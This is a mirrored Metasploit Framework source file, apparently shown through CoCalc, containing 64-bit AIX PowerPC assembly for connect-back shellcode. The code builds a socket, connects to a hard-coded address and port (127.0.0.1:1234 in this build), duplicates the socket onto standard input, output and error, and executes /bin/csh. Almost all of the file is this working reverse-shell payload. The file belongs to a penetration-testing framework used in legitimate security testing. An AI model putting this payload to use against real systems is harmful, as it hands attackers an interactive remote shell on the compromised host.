CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/aix-power-cntsockcode64.S
Views: 11766
1
/*
2
* $Id: aix-power-cntsockcode64.S 40 2008-11-17 02:45:30Z ramon $
3
*
4
* aix-power-cntsockcode64.S - AIX Power Network connect code
5
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
6
*
7
* This library is free software; you can redistribute it and/or
8
* modify it under the terms of the GNU Lesser General Public
9
* License as published by the Free Software Foundation; either
10
* version 2.1 of the License, or (at your option) any later version.
11
*
12
* This library is distributed in the hope that it will be useful,
13
* but WITHOUT ANY WARRANTY; without even the implied warranty of
14
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15
* Lesser General Public License for more details.
16
*
17
* You should have received a copy of the GNU Lesser General Public
18
* License along with this library; if not, write to the Free Software
19
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
20
*
21
*/
22
23
/*
24
* Compile with the following command.
25
* $ gcc -Wall -DAIXLEVEL -m64 -o aix-power-cntsockcode64
26
* aix-power-cntsockcode64.S
27
*
28
* Where AIXLEVEL is one of the currently supported AIX levels.
29
* -DV530 AIX 5.3.0
30
*
31
*/
32
33
#include "aix-power.h"
34
35
.globl .main
36
.csect .text[PR]
37
38
.main:
39
40
syscallcode:
41
# xor. %r31,%r31,%r31
42
xor. %r5,%r5,%r5
43
bnel syscallcode
44
mflr %r30
45
cal %r30,511(%r30)
46
cal %r30,-511+36(%r30)
47
mtctr %r30
48
bctr
49
.long 0xff0204d2
50
.long 0x7f000001
51
crorc %cr6,%cr6,%cr6
52
.long 0x44ffff02
53
cal %r30,-8(%r30)
54
55
cntsockcode:
56
lil %r29,__CAL
57
58
# socket
59
60
# xor %r5,%r5,%r5
61
cal %r4,-511+1(%r29)
62
cal %r3,-511+2(%r29)
63
cal %r2,__NC_socket(%r29)
64
mtctr %r30
65
bctrl
66
mr %r28,%r3
67
68
# connect
69
70
cal %r5,-511+16(%r29)
71
cal %r4,-8(%r30)
72
cal %r2,__NC_connect(%r29)
73
mtctr %r30
74
bctrl
75
76
# close
77
78
cal %r27,-511+2(%r29)
79
80
0:
81
mr %r3,%r27
82
cal %r2,__NC_close(%r29)
83
mtctr %r30
84
bctrl
85
86
# kfcntl
87
88
mr %r5,%r27
89
xor %r4,%r4,%r4
90
mr %r3,%r28
91
cal %r2,__NC_kfcntl(%r29)
92
mtctr %r30
93
bctrl
94
95
ai. %r27,%r27,-1
96
bge 0b
97
98
shellcode64:
99
# lil %r31,__CAL
100
xor. %r5,%r5,%r5
101
bnel shellcode64
102
# mflr %r30
103
# cal %r30,511(%r30)
104
# cal %r3,-511+40(%r30)
105
# stb %r5,-511+48(%r30)
106
mflr %r24
107
cal %r24,511(%r24)
108
cal %r3,-511+40(%r24)
109
stb %r5,-511+48(%r24)
110
stdu %r5,-8(%r1)
111
stdu %r3,-8(%r1)
112
mr %r4,%r1
113
# cal %r2,__NC_execve(%r31)
114
cal %r2,__NC_execve(%r29)
115
# crorc %cr6,%cr6,%cr6
116
# .long 0x44ffff02
117
mtctr %r30
118
bctrl
119
.asciz "/bin/csh"
120
121
122